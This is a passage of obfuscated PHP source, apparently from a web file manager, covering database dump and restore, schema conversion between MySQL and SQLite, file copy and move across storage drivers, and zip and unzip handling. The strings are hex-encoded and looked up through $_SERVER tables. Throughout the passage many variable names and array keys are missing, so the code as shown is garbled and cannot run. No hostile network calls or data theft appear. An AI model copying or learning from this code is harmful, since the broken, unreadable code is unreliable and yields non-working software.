$_SERVER[][1099]); $œ = $̸->getPk(); $ = $̸->getDbFields(); $󤺃 = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][813]] && in_array($, array($_SERVER[][1100], $_SERVER[][1101]))) { $󤺃 = $; } do { $Ǚ© = array($œ => array($_SERVER[][1047], $)); $ҏ = $̸->where($Ǚ©)->field($)->order($œ . $_SERVER[][1102])->limit($)->select(); $ҏ = !empty($ҏ) ? $ҏ : array(); if (!($؋™ = count($ҏ))) { break; } $֒ = end($ҏ); $ = $֒[$œ]; $ܫ = array(); foreach ($ҏ as $ε) { if ($󤺃) { if ($ == $_SERVER[][1100]) { if ($ε[$_SERVER[][33]] == $_SERVER[][1103]) { $֒ = json_decode($ε[$_SERVER[][403]], !0); if ($֒[$_SERVER[][32]] == $GLOBALS[$_SERVER[][813]] && $֒[$_SERVER[][776]] != 1) { continue; } } } else { if ($ε[$_SERVER[][33]] == $_SERVER[][1104] && $ε[$_SERVER[][94]] == $_SERVER[][805]) { continue; } } } if ($ܣ) { $ε[$_SERVER[][84]] = "\x7b\x69\x6f\x3a{$ܣ}\x7d" . substr($ε[$_SERVER[][84]], strlen("\173\x69\x6f\x3a{$ε[$_SERVER[][843]]}\175")); $ε[$_SERVER[][843]] = $ܣ; } $ܫ[] = $_SERVER[][1105] . $this->sqlEncode($ε) . $_SERVER[][1106]; } $䊫 = "\111\x4e\x53\x45\x52\x54\40\x49\116\x54\x4f\x20\x60{$}\140\x20\x28\140" . implode($_SERVER[][1107], $) . $_SERVER[][1108]; fwrite($, $䊫 . implode($_SERVER[][1109], $ܫ) . $_SERVER[][71] . PHP_EOL); $괍 += $؋™; if ($) { $->update($؋™); } } while ($ == $؋™); fclose($); return $괍; } public function sqlToDb($Ԋ붴, &$̱) { $ր԰ =& $_SERVER[]; $ܰ = $this->model()->db(); $Ԋ = @fopen($Ԋ붴, $ր԰[1110]); if (!$Ԋ) { return !1; } $ё = 0; $ޡ = $ր԰[12]; $ʅ = array(); $à = $this->dbType(); $䁞 = $à == $ր԰[13] ? 500 : 2000; $գ = basename($Ԋ붴, $ր԰[814]); $ = 0; $ = 4194304 - 104858; $ = 1000000 - 104858; while (!feof($Ԋ)) { $Ϫ = trim(fgets($Ԋ)); if (!$Ϫ) { continue; } $Լ = $this->sqlDecode($Ϫ, $à, $գ); if (stripos($Լ, $ր԰[384]) === 0) { if (!$ޡ) { $ޡ = $Լ . $ր԰[53]; } continue; } if ($̱) { $̱->task[$ր԰[812]] += 1; } $ё++; $ʅ[] = rtrim(rtrim(trim($Լ), $ր԰[50]), $ր԰[71]); $֏ = null; $̝Ä = strlen($Լ); $ += $̝Ä; if ($ >= ($䁞 == 500 ? $ : $)) { $֏ = array_pop($ʅ); if ($ё > 1) { $ё--; } } if ($ё >= $䁞 || $֏) { $Լ = $ޡ . implode($ր԰[50], $ʅ); if (!$ܰ->execute($Լ)) { return !1; } if ($̱) { $̱->update($ё); } $ʅ = array(); $ё = 0; $ = 0; if ($֏) { $ʅ = array($֏); $ё = 1; $ = $̝Ä; } } } fclose($Ԋ); if (!empty($ʅ)) { $Լ = $ޡ . implode($ր԰[50], $ʅ); if (!$ܰ->execute($Լ)) { return !1; } if ($̱) { $̱->update($ё); } } return !0; } public function dropTable($嚨݊ = null) { $𜸉 = $this->model()->db(); $ = $嚨݊ ? array($嚨݊) : $𜸉->getTables(); if (!$) { return; } foreach ($ as $嚨݊) { if ($嚨݊) { $嚨݊ = strtolower($嚨݊); } else { continue; } $𜸉->execute("\144\162\x6f\160\40\164\141\x62\154\145\40\151\x66\x20\x65\170\151\x73\164\x73\x20\140{$嚨݊}\x60"); } } private function sqlEncode($冲) { $ =& $_SERVER[]; $ʕه = array(); foreach ($冲 as $ɏ) { if (is_array($ɏ)) { $ɏ = json_encode_force($ɏ); } $ɏ = addslashes($ɏ); $ɏ = str_replace(array($[1111], $[231]), array($[1112], $[1113]), $ɏ); $ʕه[] = str_replace($[58], $[1114], $ɏ); } return $[58] . implode($[1115], $ʕه) . $[58]; } private function sqlDecode($Ǟ, $, $“Ȩ = '') { $ᅢ =& $_SERVER[]; $Ǟ = str_replace(array($ᅢ[1112], $ᅢ[1113]), array($ᅢ[1111], $ᅢ[231]), $Ǟ); if ($ == $ᅢ[13]) { return $“Ȩ != $ᅢ[1116] ? stripslashes($Ǟ) : $Ǟ; } if ($“Ȩ == $ᅢ[1116]) { $Ǟ = str_replace($ᅢ[1117], $ᅢ[118], stripslashes($Ǟ)); } return $Ǟ; } public function getSqlFile($ê = '') { $ĉ =& $_SERVER[]; $Ȕ = $this->dbType(!0); $қ = CONTROLLER_DIR . "\151\x6e\163\164\x61\x6c\154\57\144\141\164\x61\57{$Ȕ}\56\x73\x71\x6c"; $㇕ = file_get_contents($қ); $潿 = $ĉ[1118] . ($Ȕ == $ĉ[830] ? $ĉ[1119] : $ĉ[1120]) . $ĉ[1121]; preg_match_all($潿, $㇕, $Ŵ); $ = $Ŵ[1]; $ = $this->model()->db(); $ = $->getTables(); $հ = TEMP_FILES . $ĉ[1122] . date($ĉ[240]) . $ĉ[8]; del_dir($հ); mk_dir($հ); $ݼ = $հ . $ĉ[1123]; $ = $հ . $ĉ[1124]; $ = $Ȕ == $ĉ[13] ? $ĉ[830] : $ĉ[13]; IO::copy(CONTROLLER_DIR . "\x69\156\x73\x74\141\x6c\154\57\x64\x61\x74\141\x2f{$}\x2e\163\x71\154", $հ); @touch($հ . $Ȕ . $ĉ[814]); $姕 = fopen($ݼ, $ĉ[1099]); $ݼ忌 = fopen($, $ĉ[1099]); if ($Ȕ == $ĉ[13]) { $ = array_diff($, array($ĉ[810], $ĉ[811])); $͠ɡ = array($ĉ[1125], $ĉ[1126], $ĉ[1127]); fwrite($ݼ忌, implode(PHP_EOL, $͠ɡ) . PHP_EOL . PHP_EOL); foreach ($ as $) { $۷ = $this->sqlFromSqlite($); if (!$۷[$ĉ[13]]) { continue; } fwrite($ݼ忌, $۷[$ĉ[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($姕, $۷[$ĉ[830]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $) { $۷ = $this->sqlFromMysql($); if (!$۷[$ĉ[830]]) { continue; } fwrite($姕, $۷[$ĉ[830]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($ݼ忌, $۷[$ĉ[13]] . PHP_EOL . PHP_EOL); } } } fclose($姕); fclose($ݼ忌); $㇕ = array($ĉ[830] => $ݼ, $ĉ[13] => $); return $ê ? $㇕[$ê] : $㇕; } public function dbType($杪 = false) { $Ȥ =& $_SERVER[]; $ = $杪 ? $GLOBALS[$Ȥ[6]][$Ȥ[21]] : $this->database; $ = array_change_key_case($); $󬃴 = $[$Ȥ[1000]]; if ($󬃴 == $Ȥ[997]) { $ = explode($Ȥ[4], $[$Ȥ[1006]]); $󬃴 = $[0]; } $պ = array($Ȥ[1128] => $Ȥ[13], $Ȥ[943] => $Ȥ[830]); if (isset($պ[$󬃴])) { $󬃴 = $պ[$󬃴]; } return $󬃴; } public function sqlFromMysql($, $ = '') { $ =& $_SERVER[]; $ = $this->model()->db(); $٫ = $->query($[1129] . $ . $[414]); if (!$٫ || !$٫[0]) { return !1; } $Ϟ = _get($٫[0], $[1130], $[12]); if (!$Ϟ) { return !1; } $Ӵ = "\x44\122\x4f\x50\40\x54\x41\102\114\x45\x20\111\x46\x20\x45\130\111\123\x54\123\x20\140{$}\140\x3b" . PHP_EOL . $Ϟ . $[71]; if ($ && $ == $[830]) { return $Ӵ; } $׳ = array_change_key_case($GLOBALS[$[6]][$[21]]); $ = $׳[$[1005]]; $ „ = $[1131] . $ . $[1132] . $ . $[58]; $ܦ = $[1133] . $ . $[931]; $϶ؚ = $->query($ „); if (empty($϶ؚ)) { $転 = array($[830] => $[12], $[13] => $[12]); return $ ? $転[$] : $転; } $Ƌ = $->query($ܦ); $爟 = $[12]; $ = array(); foreach ($Ƌ as $܂) { if (!$爟 && $܂[$[1134]] == $[1135]) { $爟 = $܂[$[1136]]; } if (isset($[$܂[$[1134]]])) { $[$܂[$[1134]]][$[1137]][] = $܂[$[1136]]; continue; } $[$܂[$[1134]]] = array($[1138] => $܂[$[1134]], $[1137] => array($܂[$[1136]]), $[1139] => $܂[$[1140]] == $[88] ? 0 : 1); } $휩 = array(); foreach ($ as $܂) { $‘٩ = $܂[$[1138]] == $[1135]; $׀ɭ = array($[1141], $܂[$[1139]] == $[88] && !$‘٩ ? $[1142] : $[12], $[1143], $[1144] . $ . $[11] . ($‘٩ ? $[1145] : $܂[$[1138]]) . $[118], $[1146], $[118] . $ . $[118], $[1147] . implode($[1148], $܂[$[1137]]) . $[1149]); $휩[] = implode($[53], $׀ɭ) . $[71]; } $ = array(); $ʏ = array($[1150] => $[1151], $[1151] => $[1151], $[317] => $[344], $[316] => $[344]); foreach ($϶ؚ as $܂) { $׀ɭ = array($[118] . $܂[$[1152]] . $[118], isset($ʏ[$܂[$[1153]]]) ? $ʏ[$܂[$[1153]]] : $܂[$[1154]], $܂[$[1155]] == $[929] ? $[1156] : $[1157], $܂[$[1152]] == $爟 ? $[1158] : $[12], $܂[$[980]] ? strtoupper(str_replace($[11], $[12], $܂[$[980]])) : $[12]); $[] = trim(implode($[53], $׀ɭ)); } $— = array($[1159] . $ . $[1160], $[1161] . $ . $[1162], implode($[50] . PHP_EOL, $), $[977]); $ = implode(PHP_EOL, array_merge($—, $휩)); if ($ && $ == $[13]) { return $; } $転 = array($[830] => $Ӵ, $[13] => $); return $ ? $転[$] : $転; } public function sqlFromSqlite($Ͻ, $ = '') { $ۡ =& $_SERVER[]; $Ԧ = $this->model()->db(); $Ț = "\120\122\x41\107\115\101\40\x54\x41\102\x4c\x45\x5f\x49\x4e\106\117\40\x28\x27{$Ͻ}\x27\51"; $ئ = "\x53\x45\114\105\103\124\x20\x2a\x20\x46\122\117\115\40\x73\161\154\151\x74\145\137\155\141\163\164\145\x72\x20\x57\110\105\122\105\x20\164\142\x6c\137\156\141\155\x65\40\75\x20\x27{$Ͻ}\x27"; $ޛ = $Ԧ->query($Ț); if (empty($ޛ)) { $ = array($ۡ[830] => $ۡ[12], $ۡ[13] => $ۡ[12]); return $ ? $[$] : $; } $ɝ = $Ԧ->query($ئ); $ = $ = array(); foreach ($ɝ as $õ) { if ($õ[$ۡ[33]] == $ۡ[308]) { $[] = $õ[$ۡ[1163]]; } else { $[$õ[$ۡ[32]]] = $õ[$ۡ[1163]]; } } $ = array_merge(array($ۡ[1159] . $Ͻ . $ۡ[118]), $, array_values($)); $ = implode($ۡ[71] . PHP_EOL, $) . $ۡ[71]; if ($ && $ == $ۡ[13]) { return $; } $ = array(); $ʹ = array($ۡ[1151] => $ۡ[1164], $ۡ[344] => $ۡ[1165]); $ = $ۡ[12]; foreach ($ޛ as $õ) { if ($õ[$ۡ[57]] == $ۡ[88]) { $ = $õ[$ۡ[32]]; } $ͬ = array($ۡ[414] . $õ[$ۡ[32]] . $ۡ[414], isset($ʹ[$õ[$ۡ[33]]]) ? $ʹ[$õ[$ۡ[33]]] : $õ[$ۡ[33]], $õ[$ۡ[35]] == $ۡ[88] ? $ۡ[1156] : $ۡ[1166] . $õ[$ۡ[56]], $õ[$ۡ[57]] == $ۡ[88] ? $ۡ[1167] : $ۡ[12]); $[] = trim(implode($ۡ[53], $ͬ)); } foreach ($ as $ => $ڰ) { $ = str_replace($ۡ[1168] . $Ͻ . $ۡ[11], $ۡ[12], $); $ʕ = str_replace(array($ۡ[118], $ۡ[988]), $ۡ[414], substr($ڰ, stripos($ڰ, $ۡ[289]))); if ($ == $ۡ[1145]) { $ = $ۡ[1169] . $ . $ۡ[1170]; } else { $ = (stripos($, $ۡ[11]) ? $ۡ[1171] : $ۡ[12]) . ($ۡ[1172] . $ . $ۡ[1173] . $ʕ); } $[] = $; } $ј = array($ۡ[1174] . $Ͻ . $ۡ[1175], $ۡ[1176] . $Ͻ . $ۡ[1177], implode($ۡ[50] . PHP_EOL, $), $ۡ[1178]); $ = implode(PHP_EOL, $ј); if ($ && $ == $ۡ[830]) { return $; } $ = array($ۡ[830] => $, $ۡ[13] => $); return $ ? $[$] : $; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $׆ =& $_SERVER[]; $읠 = $; $GLOBALS[$׆[1179]] = $׆[1180] . $; Hook::trigger($׆[1180] . $ . $׆[1181], $읠); $ۥ = self::driverMake($[0]); if (!$ۥ) { return !1; } if (method_exists($ۥ, $)) { $뙎 = @call_user_func_array(array($ۥ, $), $); } else { if (method_exists($ۥ, $׆[1182])) { $뙎 = @call_user_func_array(array($ۥ, $), $); } else { if (method_exists(self, $)) { $뙎 = @call_user_func_array(array(self, $), $); } else { $뙎 = call_user_func_array(array(parent, $), $); } } } Hook::trigger($׆[1180] . $ . $׆[1183], $읠, $뙎); return $뙎; } public static function init($) { return self::driverMake($); } public static function copy($鴝, $ޖ, $ߞ = false, $񑶧 = false) { return self::copyMoveStart($鴝, $ޖ, $ߞ, $_SERVER[][575], $񑶧); } public static function move($퇿, $, $ڗ = false, $׿ = false) { return self::copyMoveStart($퇿, $, $ڗ, $_SERVER[][577], $׿); } private static function copyMoveStart($, $ꓠ, $ܒ, $, $ﵪ) { $ =& $_SERVER[]; $ = array($, $ꓠ, $ܒ, $ﵪ); Hook::trigger($[1180] . $ . $[1181], $); $ځ = self::copyMove($, $ꓠ, $ܒ, $, $ﵪ); Hook::trigger($[1180] . $ . $[1183], $, $ځ); return $ځ; } public static function saveFile($, $㬘, $磯˨ = true) { $Ͼ =& $_SERVER[]; $Ш = self::info($㬘); $ = self::driverMake($); $̇ӊ = self::driverMake($㬘); $ȴ = !1; if ($̇ӊ->pathParse[$Ͼ[1184]]) { $ȴ = $̇ӊ; $ = $̇ӊ->pathParse[$Ͼ[1184]]; $̇ӊ = self::driverMake($); } if ($->pathParse[$Ͼ[1184]]) { $ѵ = $->pathParse[$Ͼ[1184]]; $ = self::driverMake($ѵ); } $ܳ = $̇ӊ->pathFather($㬘); $ = !0; if (!$磯˨ && self::driverIsSame($, $̇ӊ)) { $ = !1; } $Ƴ = self::copyFile($, $, $̇ӊ, $ܳ, $Ш[$Ͼ[32]], $); if ($ȴ) { $Ƴ = $ȴ->getPathOuter($Ƴ); } return $Ƴ; } private static function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; if (!$ || $ == $[8] || !$) { return !1; } ignore_timeout(); $ŋ = self::driverMake($); $ݞŝ = self::driverMake($); $륾侭 = $ == $[577]; $禡 = !1; if ($ݞŝ->pathParse[$[1184]]) { $禡 = $ݞŝ; $ = $ݞŝ->pathParse[$[1184]]; $ݞŝ = self::driverMake($); } if ($ŋ->pathParse[$[1184]]) { $ = $ŋ->pathParse[$[1184]]; $ŋ = self::driverMake($); } self::check($ŋ, $, $ݞŝ, $); Hook::trigger($[1185], $ŋ, $, $ݞŝ, $); $Ť = self::driverIsSame($ŋ, $ݞŝ); if ($Ť) { if ($ == $[577] && !method_exists($ݞŝ, $[1186]) && trim($, $[8]) == trim($ݞŝ->pathFather($), $[8])) { if ($ŋ->pathThis($) != $ && !$ŋ->isTypeObject()) { return $ŋ->rename($, $); } return $ݞŝ->getPathOuter($); } if (method_exists($ݞŝ, $)) { return $ݞŝ->{$}($, $, $, $); } } if ($Ť && $ == $[577] && $ݞŝ->getType() == $[106]) { $ = $ݞŝ->movePath($, $, $); if ($) { return $; } } $ۿ = $ŋ->isFile($); if (!$ۿ && $ݞŝ->getType() == $[783] && $ŋ->getType() == $[106]) { $ = $ݞŝ->copyFolderFromIO($ŋ, $, $, $, $륾侭, $); } else { $ = self::copyPath($ŋ, $, $ݞŝ, $, $, $륾侭, $ۿ, $); } if ($ && $륾侭) { $ŋ->remove($); } if ($禡) { $ = $禡->getPathOuter($); } return $; } private static function check($, $, $ɗ, &$㠅) { $dz =& $_SERVER[]; if (self::driverIsSame($, $ɗ) && $->isFolder($) && $->isParentOf($, $㠅)) { show_json(LNG($dz[1187]), !1); } if (!$->exist($)) { show_json(LNG($dz[105]), !1); } } private static function copyPath($, $⮱, $ْꁨ, $, $׈, $ٹ, $˲, $͙ = false, $ = true) { $㽧 =& $_SERVER[]; $ = empty($͙) && $͙ !== $㽧[198] ? $->pathThis($⮱) : $͙; if ($׈) { $ώ = $ْꁨ->fileNameExist($, $); $ = $; $ = $ْꁨ->fileNameAuto($, $, $׈, !$˲); if (!$ώ || $ != $) { $׈ = !1; } if ($ && !$׈) { $ْꁨ->_data[$㽧[1188]] = !0; } } if ($˲) { return self::copyFile($, $⮱, $ْꁨ, $, $, $ٹ); } if ($׈ == REPEAT_RENAME_FOLDER) { $׈ = !1; } $ = rtrim($, $㽧[8]) . $㽧[8] . $; $д = $ْꁨ->mkdir($ْꁨ->getPath($), $׈); $ = $ْꁨ->getPathInner($д); $ɦ = $->listPath($⮱, !0); $ɦ = is_array($ɦ) ? $ɦ : array($㽧[83] => array(), $㽧[82] => array()); $԰ = array_merge($ɦ[$㽧[83]], $ɦ[$㽧[82]]); foreach ($԰ as $) { $˫ = $[$㽧[33]] == $㽧[200]; $⮱ = $->getPathInner($[$㽧[84]]); $򡛄 = self::copyPath($, $⮱, $ْꁨ, $, $׈, $ٹ, $˫, !1, !1); if (!$򡛄) { IO::errorTips($㽧[1189] . $⮱ . $㽧[70] . $); } } self::copyMoveKeepInfo($, $⮱, $д); return $д; } private static function copyFile($ɫ, $, $Ƀ, $, $݁׽, $) { $ =& $_SERVER[]; $ = $Ƀ->getPath(rtrim($, $[8]) . $[8] . $݁׽); $ۅ݀ = $[1190] . time() . rand_string(5); Hook::trigger($[1191], $ɫ, $, $Ƀ, $, $݁׽, $ۅ݀); if (self::driverIsSame($ɫ, $Ƀ)) { if ($) { $ = $Ƀ->moveFile($, $); } else { $ = $Ƀ->copyFile($, $); } Hook::trigger($[1192], $ɫ, $, $Ƀ, $, $݁׽, $); self::copyMoveKeepInfo($ɫ, $, $); return $; } $ݧ = TEMP_FILES; if ($GLOBALS[$[6]][$[89]][$[822]]) { $ݧ = $GLOBALS[$[6]][$[89]][$[822]]; } $߄ = $ݧ; mk_dir($߄); $ϥ = $߄ . $ۅ݀; $‘ = $ϥ; $ϥ = $ɫ->download($, $ϥ); $ϥ = $ɫ->iconvApp($ϥ); if (substr($ϥ, strlen($ݧ)) == $ݧ) { $ = !0; } $ = $Ƀ->upload($, $ϥ, $); self::remove($‘); Hook::trigger($[1192], $ɫ, $, $Ƀ, $, $݁׽, $); self::copyMoveKeepInfo($ɫ, $, $); return $; } private static function copyMoveKeepInfo($ƹ, $, $) { if (!$) { return; } $ = $ƹ->info($); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[][85]]); } public static function pathFather($ī) { $ = IO::init($ī); $ = $->pathFather($->path); return $->getPathOuter($); } public static function fileOut($, $멡 = false, $܃ = false, $䠱 = '') { $ = self::driverMake($); if ($->isFileOutServer()) { return $->fileOutServer($, $멡, $܃, $䠱); } return $->fileOut($, $멡, $܃, $䠱); } public static function fileOutImage($Ԥ, $ަ = 250) { $ӿ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($ӿ); $++) { if ($ == 0 && $ަ <= $ӿ[$]) { $ަ = $ӿ[$]; break; } else { if ($ަ > $ӿ[$ - 1] && $ަ <= $ӿ[$]) { $ަ = $ӿ[$]; break; } else { if ($ == count($ӿ) - 1 && $ަ > $ӿ[$]) { $ަ = $ӿ[$]; break; } } } } $ = self::driverMake($Ԥ); if ($->isFileOutServer()) { return $->fileOutImageServer($Ԥ, $ަ); } return $->fileOutImage($Ԥ, $ަ); } private static function driverIsSame($᧹, $޾) { $Ͼ =& $_SERVER[]; $ = $᧹->getType(); $ۮ = $޾->getType(); if ($ != $ۮ) { return !1; } if ($ == $Ͼ[783]) { return !0; } if ($ == $Ͼ[106]) { return !0; } if ($᧹->pathDriver == $޾->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $ޔ) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } if (!IO::exist($ޔ)) { IO::mkdir($ޔ); } $ă = array_to_keyvalue(self::listAllSimple($), $[84]); $ʊ = array_to_keyvalue(self::listAllSimple($ޔ), $[84]); $ = array(); $̾ = array(); foreach ($ă as $߬ => $ҳ) { if (isset($ʊ[$߬])) { if ($ҳ[$[75]] == 1) { continue; } if ($ʊ[$߬][$[76]] == $ҳ[$[76]]) { continue; } } if ($ҳ[$[75]] == 1) { $̾[] = $ޔ . $[8] . trim($߬, $[8]); continue; } $Ω = strstr(trim($߬, $[8]), $[8]) ? get_path_father($߬) : $[12]; $[] = array($[1193] => $ҳ[$[86]], $[1194] => rtrim($ޔ, $[8]) . $[8] . $Ω, $[1195] => $ҳ); } $ = array($[200] => $, $[75] => $̾); Hook::trigger($[1196], $, $ޔ, $); foreach ($̾ as $ҳ) { IO::mkdir($ҳ); } foreach ($ as $ҳ) { IO::copy($ҳ[$[1193]], $ҳ[$[1194]], REPEAT_REPLACE); } } public static function fileSubstr($к, $񈣙, $̭ = false) { $ =& $_SERVER[]; $顝 = self::driverMake($к); $ό = $顝->size($к); $ = $񈣙; $NJ = $̭; if ($񈣙 < 0) { $񈣙 = $ό + $񈣙; } if ($̭ === !1) { $̭ = $ό - $񈣙; } if ($񈣙 + $̭ > $ό) { $̭ = $ό - $񈣙; } if (!$ό && $顝->getType() == $[106] && !$顝->exist($к)) { $蠔 = get_path_this($к); $ = parse_url_query($蠔); if (is_array($) && isset($[$[32]])) { $蠔 = urldecode($[$[32]]); } throw new Exception($[1197] . LNG($[1198]) . $[999] . clear_html($蠔) . $[12]); } if ($̭ <= 0) { return $[12]; } if ($񈣙 < 0 || $񈣙 >= $ό || $̭ > 1024 * 1024 * 10) { throw new Exception("\146\x69\x6c\145\122\145\141\x64\40\145\x72\162\x6f\162\x21\x20\163\164\x61\x72\164\x3d{$񈣙}\73\154\x65\x6e\x67\x74\x68\75{$̭}\73\x20\163\x69\172\x65\75{$ό}\x3b"); } $ = $顝->fileSubstr($к, $񈣙, $̭); if (!$ && $̭ && isset($GLOBALS[$[1199]])) { throw new Exception($GLOBALS[$[1199]][$[1200]]); } return $; } private static function driverMake(&$װ) { $ՠڬ =& $_SERVER[]; $ཝ = KodIO::parse($װ); if (!self::$driverListSystem) { $ = Model($ՠڬ[793])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($, $ՠڬ[428]); } if ($ཝ[$ՠڬ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$ཝ[$ՠڬ[428]]]) { return !1; } $װ = $ཝ[$ՠڬ[1201]]; $ = self::driverGet($ཝ, $װ); return $; } private static function driverGet($, &$ƭ) { $ݥ =& $_SERVER[]; $Ц = $[$ݥ[1202]]; $ = $[$ݥ[428]]; switch ($[$ݥ[33]]) { case KodIO::KOD_IO: $ = self::$driverListSystem[$]; break; case KodIO::KOD_SOURCE: $ƭ = $ . $ƭ; $ = array($ݥ[1203] => $ݥ[1204], $ݥ[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $Ԝ = $GLOBALS[$ݥ[1205]]; self::$driverListUser = array_to_keyvalue($Ԝ, $ݥ[428]); } $ = self::$driverListUser[$]; break; case KodIO::KOD_SHARE_LINK: $ = array($ݥ[1203] => $ݥ[1206], $ݥ[6] => $); $ҥо = Action($ݥ[1207])->sharePathInfo($[$ݥ[84]]); $ƭ = $ҥо[$ݥ[431]]; if (!$ҥо[$ݥ[431]]) { $͉ = Model($ݥ[621])->getInfo($ҥо[$ݥ[622]]); $ƭ = KodIO::clear($͉[$ݥ[1208]] . $[$ݥ[1201]]); $[$ݥ[515]] = $͉; $[$ݥ[1184]] = $ƭ; $ = array($ݥ[1203] => $ݥ[1209], $ݥ[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ = array($ݥ[1203] => $ݥ[1210], $ݥ[6] => $); $͉ = Model($ݥ[621])->getInfo($[$ݥ[428]]); if ($͉[$ݥ[431]] == $ݥ[198]) { $ƭ = KodIO::clear($͉[$ݥ[1208]] . $[$ݥ[1201]]); $[$ݥ[515]] = $͉; $[$ݥ[1184]] = $ƭ; $ = array($ݥ[1203] => $ݥ[1211], $ݥ[6] => $); } else { if (!$ƭ) { $ƭ = $͉[$ݥ[431]]; } } break; default: $ƭ = $[$ݥ[84]]; $ = array($ݥ[1203] => $ݥ[1212]); break; } $Ā = $[$ݥ[84]]; if (!isset(self::$driverCache[$Ā])) { $ɀ = strtolower($[$ݥ[95]]); $ = $GLOBALS[$ݥ[6]][$ݥ[89]][$ݥ[852]]; $࿵ = $ݥ[74] . (isset($[$ɀ]) ? $[$ɀ] : ucfirst($ɀ)); if (!class_exists($࿵)) { show_json("{$࿵}\x20\156\157\164\x20\x65\x78\x69\x73\164\163\41", !1); } $̪ = isset($[$ݥ[6]]) ? $[$ݥ[6]] : !1; self::$driverCache[$Ā] = new $࿵($̪); } $ = self::$driverCache[$Ā]; $->pathDriver = $Ц; $->pathBase = $ݥ[12]; if (isset($[$ݥ[6]][$ݥ[1213]])) { $->pathBase = rtrim($[$ݥ[6]][$ݥ[1213]], $ݥ[8]) . $ݥ[8]; $ƭ = $->pathBase . ltrim($ƭ, $ݥ[8]); } $ƭ = $->getPath($ƭ); if (isset($[$ݥ[1184]])) { $ƭ = $[$ݥ[1184]]; } $->path = $ƭ; return $; } public static function errorTips($ɛ = false) { $ =& $_SERVER[]; static $ = array(); $ܯ = 1000; if ($ɛ === -1) { return $ ? $[count($) - 1] : $[12]; } if ($ɛ === !1) { return implode($[231], $); } if (count($) >= $ܯ) { $ = array_slice($, $ܯ * 0.5, $ܯ); } $[] = $ɛ; write_log($[162] . ACTION . $[1214] . $ɛ, $[1215]); } public static function getLastError($ٟ = '') { $ = self::errorTips(-1); return $ ? $ : $ٟ; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $ü; if ($ü) { return $ü; } $ = IO::init($_SERVER[][8]); return $; } private static function iconvSystem($È) { return self::local()->iconvSystem($È); } private static function iconvApp($̅ɩ) { return self::local()->iconvApp($̅ɩ); } public static function zipFolder($Д, $ӧ = "\x7a\x69\x70", $ = '', $̂Ύ = REPEAT_RENAME) { $ڄ =& $_SERVER[]; $ = IO::listPath($Д); if (!$) { return !1; } $ = array_merge($[$ڄ[82]], $[$ڄ[83]]); return self::zip($, $ӧ, $, $̂Ύ); } public static function zip($, $ = "\x7a\x69\160", $џˀ = '', $ȷ = REPEAT_RENAME) { $բ =& $_SERVER[]; if (is_string($) && $) { $ = array(array($բ[84] => $)); } $ = self::init($[0][$բ[84]]); $ = self::info($[0][$բ[84]]); $NJ = $բ[12]; $柚 = $բ[12]; $Ң = $բ[12]; if ($џˀ && substr($џˀ, -1, 1) != $բ[8]) { $柚 = get_path_father($џˀ); $Ң = get_path_this($џˀ); } else { $柚 = self::pathFather($[$բ[84]]); $Ң = $[$բ[32]] . $բ[10] . $; if (count($) > 1) { $д = IO::info($柚); $Ң = $д[$բ[32]] . $բ[10] . $; } if ($џˀ) { $柚 = $џˀ; } } if ($->getType() == $բ[106]) { $ = self::init($柚); $ϗ = $->getType() == $բ[106] ? $柚 : get_path_father($->path); $ϗ = rtrim($ϗ, $բ[8]) . $բ[8]; mk_dir($ϗ); } else { $NJ = TEMP_FILES . $բ[1216] . time() . rand_string(8) . $բ[8]; mk_dir($NJ); file_put_contents($NJ . $բ[1217], $բ[12]); $ϗ = $NJ; } $ = IO::info($ϗ); if (!$ || !$[$բ[203]]) { show_json(LNG($բ[1218]), !1); } $֕ = self::zipFileList($, $NJ); foreach ($֕ as $ұ => $ŗ) { $֕[$ұ] = self::iconvSystem($ŗ); } $ք = get_filename_auto($ϗ . $Ң, $բ[12], $ȷ); KodArchive::create(self::iconvSystem($ք), $֕); if (!IO::exist($ք)) { if ($NJ) { del_dir($NJ); } show_json(LNG($բ[1219]), !1); } if (!$NJ) { return $ք; } $ = self::move($ք, $柚, $ȷ); if ($NJ) { del_dir($NJ); } if (!$ք) { show_json(LNG($բ[1219]), !1); } return $; } public static function unzip($, $, $ = "\x2d\x31", $ = "\162\145\x70\x6c\141\143\145") { $ =& $_SERVER[]; $ = parent::info($); if (!$) { show_json(LNG($[1220]), !1); } $ġ = IO::infoFull($); if (!$ġ) { $ = IO::mkdir($); } if (isset($ġ[$[431]]) && trim($ġ[$[84]], $[8]) != trim($, $[8])) { $徚 = KodIO::make($ġ[$[461]]); $ = IO::fileNameAuto($徚, $ġ[$[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($徚 . $); } $ = $ && $ != $[1221] ? @json_decode($, !0) : -1; $ = self::unzipPart($, $); if (!$ || !IO::exist($[$[200]])) { show_json(LNG($[105]), !1); } $ = $[$[1222]][count($[$[1222]]) - 1]; if ($[$[1223]] == -1 || substr($[$[32]], -1, 1) == $[8]) { $ć = $[$[1224]] . rand_string(10) . $[8]; mk_dir($ć); $ɿ = count($[$[1222]]) == 1 ? IO::ext($) : get_path_ext($[$[200]]); $ = KodArchive::extract(self::iconvSystem($[$[200]]), $ć, $[$[1223]], $, $ɿ); self::unzipErrorCheck($, array($[1225], $, $ɿ, $, $)); Hook::trigger($[1226], $ć); recursion_dir($ć, $, $ġ, 0); $ΏЄ = array_merge($, $ġ); $н = array(); foreach ($ΏЄ as $ݾ) { $ = IO::move(self::iconvApp($ݾ), $, $); if ($) { $н[] = $; } } del_dir($ć); } else { $ = IO::move($[$[200]], $, $, get_path_this($[$[32]])); if ($) { $н[] = $; } } return $н ? $н : !1; } public static function unzipList($ޠ) { $ =& $_SERVER[]; $ = isset($ޠ[$[1227]]) ? $ޠ[$[1227]] : !1; 